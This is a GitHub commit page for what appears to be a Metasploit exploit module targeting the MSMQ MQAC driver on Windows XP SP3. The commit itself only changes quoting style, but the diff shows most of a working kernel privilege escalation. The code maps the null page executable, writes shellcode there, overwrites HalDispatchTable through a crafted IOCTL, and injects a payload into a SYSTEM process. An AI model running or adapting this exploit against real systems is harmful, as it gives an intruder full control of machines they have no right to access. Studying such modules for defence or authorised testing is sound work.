Skip to content

Commit 210342d

Browse files
committed
Minor tidies to conform to standards
1 parent 9fe2dd5 commit 210342d

File tree

1 file changed

+23
-23
lines changed

1 file changed

+23
-23
lines changed

modules/exploits/windows/local/mqac_write.rb

Lines changed: 23 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -61,10 +61,10 @@ def initialize(info={})
6161

6262
def find_sys_base(drvname)
6363
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
64-
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
65-
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
64+
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ['PBLOB', 'lpImageBase', 'out'], ['DWORD', 'cb', 'in'], ['PDWORD', 'lpcbNeeded', 'out']])
65+
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ['LPVOID', 'ImageBase', 'in'], ['PBLOB', 'lpBaseName', 'out'], ['DWORD', 'nSize', 'in']])
6666
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
67-
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
67+
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('L*')
6868

6969
addresses.each do |address|
7070
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
@@ -82,24 +82,24 @@ def find_sys_base(drvname)
8282
# Function borrowed from smart_hashdump
8383
def get_system_proc
8484
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
85-
local_sys = resolve_sid("S-1-5-18")
85+
local_sys = resolve_sid('S-1-5-18')
8686
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
8787

8888
this_pid = session.sys.process.getpid
8989
# Processes that can Blue Screen a host if migrated in to
90-
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
90+
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
9191
session.sys.process.processes.each do |p|
9292
# Check we are not migrating to a process that can BSOD the host
93-
next if dangerous_processes.include?(p["name"])
94-
next if p["pid"] == this_pid
95-
next if p["pid"] == 4
96-
next if p["user"] != system_account_name
93+
next if dangerous_processes.include?(p['name'])
94+
next if p['pid'] == this_pid
95+
next if p['pid'] == 4
96+
next if p['user'] != system_account_name
9797
return p
9898
end
9999
end
100100

101101
def open_device
102-
handle = session.railgun.kernel32.CreateFileA("\\\\.\\MQAC", "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil)
102+
handle = session.railgun.kernel32.CreateFileA("\\\\.\\MQAC", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil)
103103
if handle['return'] == 0
104104
print_error('Failed to open the \\\\.\\MQAC device')
105105
return nil
@@ -110,34 +110,34 @@ def open_device
110110
def check
111111
handle = open_device
112112
if handle.nil? || handle == INVALID_HANDLE_VALUE
113-
print_error("MSMQ installation not found")
113+
print_error('MSMQ installation not found')
114114
return Exploit::CheckCode::Safe
115115
end
116116
session.railgun.kernel32.CloseHandle(handle)
117117

118-
os = sysinfo["OS"]
118+
os = sysinfo['OS']
119119
case os
120120
when /windows xp.*service pack 3/i
121121
return Exploit::CheckCode::Appears
122122
when /windows xp/i
123-
print_error("Incorrect version of Windows XP detected")
123+
print_error('Unsupported version of Windows XP detected')
124124
return Exploit::CheckCode::Detected
125125
else
126126
return Exploit::CheckCode::Safe
127127
end
128128
end
129129

130130
def exploit
131-
if sysinfo["Architecture"] =~ /wow64/i
132-
print_error("Running against WOW64 is not supported")
131+
if sysinfo['Architecture'] =~ /wow64/i
132+
print_error('Running against WOW64 is not supported')
133133
return
134-
elsif sysinfo["Architecture"] =~ /x64/
135-
print_error("Running against 64-bit systems is not supported")
134+
elsif sysinfo['Architecture'] =~ /x64/
135+
print_error('Running against 64-bit systems is not supported')
136136
return
137137
end
138138

139139
if is_system?
140-
print_error("This meterpreter session is already running as SYSTEM")
140+
print_error('This meterpreter session is already running as SYSTEM')
141141
return
142142
end
143143

@@ -154,7 +154,7 @@ def exploit
154154

155155
this_proc = session.sys.process.open
156156
unless this_proc.memory.writable?(base_addr)
157-
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ 1 ].pack("L"), nil, [ 0xffff ].pack("L"), "MEM_COMMIT|MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
157+
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ 1 ].pack('L'), nil, [ 0xffff ].pack('L'), 'MEM_COMMIT|MEM_RESERVE', 'PAGE_EXECUTE_READWRITE')
158158
end
159159
unless this_proc.memory.writable?(base_addr)
160160
print_error('Failed to properly allocate memory')
@@ -164,7 +164,7 @@ def exploit
164164

165165
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
166166
hKernel = hKernel['return']
167-
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
167+
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, 'HalDispatchTable')
168168
halDispatchTable = halDispatchTable['return']
169169
halDispatchTable -= hKernel
170170
halDispatchTable += kernel_info[0]
@@ -192,19 +192,19 @@ def exploit
192192
this_proc.memory.write(0x1, shellcode)
193193
this_proc.close
194194

195-
print_status("Triggering vulnerable IOCTL")
195+
print_status('Triggering vulnerable IOCTL')
196196
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f, 1, 0x258, halDispatchTable + 0x4, 0)
197197
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
198198

199199
unless is_system?
200-
print_error("Exploit failed")
200+
print_error('Exploit failed')
201201
return
202202
end
203203

204204
proc = get_system_proc
205205
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
206206
unless execute_shellcode(payload.encoded, nil, proc['pid'])
207-
fail_with(Failure::Unknown, "Error while executing the payload")
207+
fail_with(Failure::Unknown, 'Error while executing the payload')
208208
end
209209
end
210210

0 commit comments

Comments
 (0)